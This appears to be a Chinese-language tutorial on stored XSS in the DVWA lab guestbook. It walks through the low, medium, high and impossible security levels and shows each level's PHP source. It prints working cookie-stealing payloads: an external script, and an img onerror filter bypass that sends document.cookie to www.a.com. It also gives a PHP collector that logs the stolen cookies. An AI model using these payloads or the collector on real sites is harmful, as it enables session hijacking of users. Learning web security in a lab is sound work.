上一篇文章會介紹了反射型 XSS 攻擊。本文主要是經過 dvwa 介紹存儲型 XSS 攻擊。存儲型 XSS 攻擊影響範圍極大。好比是微博、貼吧之類的,如有注入漏洞,再假如攻擊者能用上一篇文章相似的代碼獲取用戶的 cookies,想一想若是代碼中再加入自動轉發功能,每一個看過那條微博的用戶都會被偷 cookies 和自動轉發!像網絡病毒同樣的傳播速度啊!恐怖如斯!javascript
功能很簡單。點擊提交就會有相應的文字。 此時,Hacker 在裏面輸入 <script>alert(1)</script>
php
也就是有注入漏洞了。因而 Hacker 再輸入了 <script src="//www.a.com/test.js"></script>
,html
//test.js var img = document.createElement("img") img.src = "http://www.a.com/?cookies="+escape(document.cookie); document.body.appendChild(img);
而後全部看到這條信息的用戶的 cookies 就會被偷走了。 而低級的代碼是這樣的,沒有作任何的防禦前端
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
中級代碼,會意識到這個問題 因此會對 message 進行處理java
"
,'
,\r
等特殊符號轉義>
轉成 >
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
然而百密一疏,name 字段只有去掉 script 字符串 和用mysql_real_escape_string
函數進行轉義
全部能夠利用 name 字段注入mysql
Hacker 輸入在 Name 字段輸入 前端那裏有個字符長度的限制。你能夠用火狐直接將 maxlength 改大,或者用 brupSuite 的改就能夠了。 因此這代碼最後仍是能夠被注入的。sql
高級代碼 對 name 的驗證有所改變。後端
<?php //... // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); //... ?>
若是看過上一篇文章,應該會了解。這樣的代碼能夠用 img 等元素繞過的。 <img src=x onerror="e=escape;this.src='//www.a.com?cookies='+e(document.cookie)">
要改下 www.a.com/index.php 由於本來只是記錄 cookies 到文件中,不返回圖片的。這段注入代碼執行後會不斷地發請求的。因此改爲返回一張圖片就能夠了。好比瀏覽器
<?php $name = 'gakki.jpg'; $fp = fopen($name, 'rb'); header("Content-Type: image/png"); header("Content-Length: " . filesize($name)); fpassthru($fp); $c = $_GET["cookies"]; echo $c; error_log($c ."". "\n",3,"/var/log/a/cookies"); ?>
結果以下
cookie
沉迷我老婆美色的時候,cookie 就被偷走了
不可能級別有
htmlspecialchars
等函數防護<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = mysql_real_escape_string( $name ); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
下面是防護 XSS 攻擊的措施
<?php header("Set-Cookie: cookie1=test1"); header("Set-Cookie: cookie2=test2;httponly",false) ?> <script> alert(document.cookie); </script>
只會把 cookie1=test1 彈窗。就算有漏洞也能夠減小損失